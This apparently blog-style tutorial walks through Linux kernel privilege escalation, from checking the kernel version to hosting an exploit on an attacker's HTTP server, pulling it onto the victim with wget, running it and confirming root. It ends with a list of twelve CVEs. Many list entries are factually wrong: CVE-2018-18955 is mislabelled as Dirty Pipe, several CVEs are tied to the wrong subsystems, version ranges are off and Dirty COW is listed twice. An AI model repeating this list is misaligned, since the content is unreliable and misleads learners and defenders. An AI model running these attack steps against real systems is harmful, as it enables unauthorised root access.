

Kernel Exploits: A Common Privilege Escalation Method

Kernel exploits are a powerful tool in a hacker's arsenal when attempting to escalate privileges on a Linux system. The **kernel** is the core of an operating system that manages hardware resources and communication between software and hardware. In Linux, the kernel has full control over system resources, including access to files, hardware, and user processes. If an attacker can exploit a vulnerability within the kernel, they can potentially gain **root** access, which grants complete control over the system.

Why should you care? In the world of penetration testing and post-exploitation, gaining **root** privileges is often the ultimate goal. Once an attacker has root access, they can execute arbitrary commands, read and modify sensitive data, install backdoors, and maintain persistence on the system. This is why kernel exploits are considered a critical path for privilege escalation. They target flaws in the kernel that, if left unpatched, can allow an attacker to bypass typical security mechanisms and gain complete control.

Understanding and exploiting kernel vulnerabilities is crucial for both attackers looking to escalate their access and defenders aiming to patch critical flaws before they can be exploited.

STEP 1: CHECK KERNEL VERSION

To identify if the kernel version has known vulnerabilities, use the following command:

Action	Command	Example Output
Find kernel version	uname -a	Linux victim 4.4.0-116-generic #140-Ubuntu SMP...

Use the kernel version to search for known vulnerabilities.

STEP 2: LOCATE EXPLOITS

Once you have the kernel version, search for corresponding exploits on trusted sources like [Exploit-DB](#). You can use the kernel version to find an exploit that matches.

Action	Command	Example Output
Find exploit for kernel	Search in Exploit-DB	Look for matching exploits based on kernel version.
Example Exploit	37292	An example exploit number that matches the kernel version.

Search for kernel-specific exploits to use in the next step.

STEP 3: COMPILE THE EXPLOIT

Use gcc to compile the chosen exploit into an executable file.

Action	Command	Example Output
Compile the exploit	gcc -o outputname	Creates the compiled executable from the source code.

Ensure gcc is installed on the system to compile the exploit.

STEP 4: HOST THE EXPLOIT ON A SERVER

Set up a simple HTTP server to host the exploit file and make it available for download.

Action	Command	Notes
Set up Python 2 server	<code>python -m SimpleHTTPServer 8000</code>	Hosts the exploit on port 8000.
Set up Python 3 server	<code>python3 -m http.server 8000</code>	Preferred method for newer Python installations.

Make sure the server is running and accessible from the target machine.

STEP 5: TRANSFER EXPLOIT TO TARGET

Transfer the exploit from your attacker machine to the victim machine.

Action	Command	Example Output
Transfer exploit file	<code>wget your_IP:8000/exploit.c</code>	Downloads the exploit from the attacker's server.

Ensure the target machine can connect to your HTTP server to fetch the file.

STEP 6: SET EXECUTION PERMISSIONS

Once the exploit file is on the target machine, give it execution permissions.

Action	Command	Example Output
Add execute permissions	<code>chmod +x nameofexploit</code>	Makes the file executable.

This step ensures that the exploit can be executed on the victim machine.

STEP 7: RUN THE EXPLOIT

Execute the compiled exploit to attempt privilege escalation.

Action	Command	Example Output
Run the exploit	<code>./nameofexploit</code>	Executes the compiled exploit.

Monitor the output to check for any errors or indications of success.

STEP 8: VERIFY ROOT PRIVILEGES

Finally, verify if the privilege escalation was successful.

Action	Command	Example Output
Verify root access	<code>id</code>	<code>uid=0(root) gid=0(root)</code>

If successful, the `id` command should show `uid=0` for root privileges.

Post-Exploitation Steps

Once the privilege escalation is successful, explore the system for sensitive data or maintain persistence.

Action	Command or Explanation
Verify Escalation Success	Run <code>id</code> . Should return: <code>uid=0(root) gid=0(root)</code> .
Check System Privileges	Explore files, configurations, and logs that were previously restricted.

EXAMPLE OUTCOME

After executing the exploit and gaining root access:

Command	Output
<code>id</code>	<code>uid=0(root) gid=0(root) groups=0(root),1001(Karen)</code>

Common Linux Kernel Exploits

1. DIRTYCOW (CVE-2016-5195)

- Description:** A race condition in the Linux kernel's memory subsystem that allows a local attacker to gain write access to read-only memory mappings, enabling privilege escalation.
- Affected Versions:** Kernel versions 2.6.22 - 3.9.x.
- Exploit:** Can be used to overwrite files like /etc/passwd to escalate to root.

2. CVE-2009-2698 (PRIVILEGE ESCALATION IN LINUX KERNEL)

- Description:** A flaw in the kernel's handling of the ptrace system call, allowing a local user to gain root privileges.
- Affected Versions:** 2.6.9 - 2.6.23.
- Exploit:** A precompiled exploit can be used to escalate privileges on vulnerable systems.

3. CVE-2010-1083 (LOCAL PRIVILEGE ESCALATION DUE TO MEMORY CORRUPTION)

- Description:** A memory corruption issue in the Linux kernel's handling of certain ioctl system calls, allowing local attackers to escalate privileges.
- Affected Versions:** 2.6.32 - 2.6.34.
- Exploit:** This can be exploited by manipulating kernel memory, typically leading to root access.

4. CVE-2015-1805 (PRIVILEGE ESCALATION VIA OVERLAYFS)

- Description:** A flaw in the OverlayFS module allows a local user to gain root privileges due to improper handling of file system operations.
- Affected Versions:** 3.18 - 4.1.0.

→**Exploit:** Exploited by manipulating OverlayFS, where a local attacker could overwrite sensitive files.

5. CVE-2014-3153 (PRIVILEGE ESCALATION VIA SOCKET MANIPULATION)

→**Description:** A vulnerability in the `unix_socket()` function that allows a local attacker to escalate privileges.

→**Affected Versions:** 3.8.x - 3.14.x.

→**Exploit:** By exploiting the flaw, an attacker could gain root privileges via a crafted socket connection.

6. CVE-2016-0728 (OUT-OF-BOUNDS MEMORY ACCESS)

→**Description:** A flaw in the kernel's netlink subsystem allows attackers to execute arbitrary code in kernel space via a specially crafted network message.

→**Affected Versions:** 3.8 - 4.5.

→**Exploit:** Local users could trigger a memory access error, leading to privilege escalation.

7. CVE-2016-5195 (DIRTYCOW - REVISITED)

→**Description:** A race condition that allows a user to escalate privileges by overwriting sensitive memory areas.

→**Affected Versions:** 2.6.22 - 3.9.x (Revised).

→**Exploit:** Used widely in post-exploitation scenarios to gain root privileges.

8. CVE-2017-1000364 (LINUX KERNEL - PRIVILEGE ESCALATION)

→**Description:** A bug in the kernel's `clone()` function that allows attackers to escalate privileges by manipulating memory layouts.

→**Affected Versions:** 4.4.0 - 4.10.

→**Exploit:** This flaw can be exploited to gain root access, allowing the attacker to execute arbitrary commands.

9. CVE-2017-6074 (KERNEL VULNERABILITY IN NFTABLES MODULE)

- Description:** A vulnerability in the nftables subsystem that can be exploited to execute arbitrary code in kernel space.
- Affected Versions:** 4.10.0 - 4.11.x.
- Exploit:** This bug allows privilege escalation on vulnerable systems, often by exploiting memory corruption.

10. CVE-2018-18955 (DIRTY PIPE)

- Description:** A race condition in pipe handling that allows a local attacker to overwrite arbitrary files or execute arbitrary code with root privileges.
- Affected Versions:** 4.14 - 4.18.
- Exploit:** Similar to DirtyCow, this exploit leverages a race condition to gain root access.

11. CVE-2019-14287 (SUDO VULNERABILITY)

- Description:** Although not a direct kernel exploit, it exploits the way sudo handles user input, allowing local users to run commands as root.
- Affected Versions:** Sudo versions prior to 1.8.28 (not directly kernel-related but often exploited in local privilege escalation attacks).
- Exploit:** By setting the sudo command to interpret a user's name as a root command, attackers could run commands as root.

12. CVE-2021-3490 (PRIVILEGE ESCALATION IN OVERLAYFS)

- Description:** A vulnerability in the overlayfs module that allows for a local privilege escalation due to improper permission checks.
- Affected Versions:** 5.x kernels, patched in later versions.
- Exploit:** Exploited by users to gain root access or escalate privileges on vulnerable systems.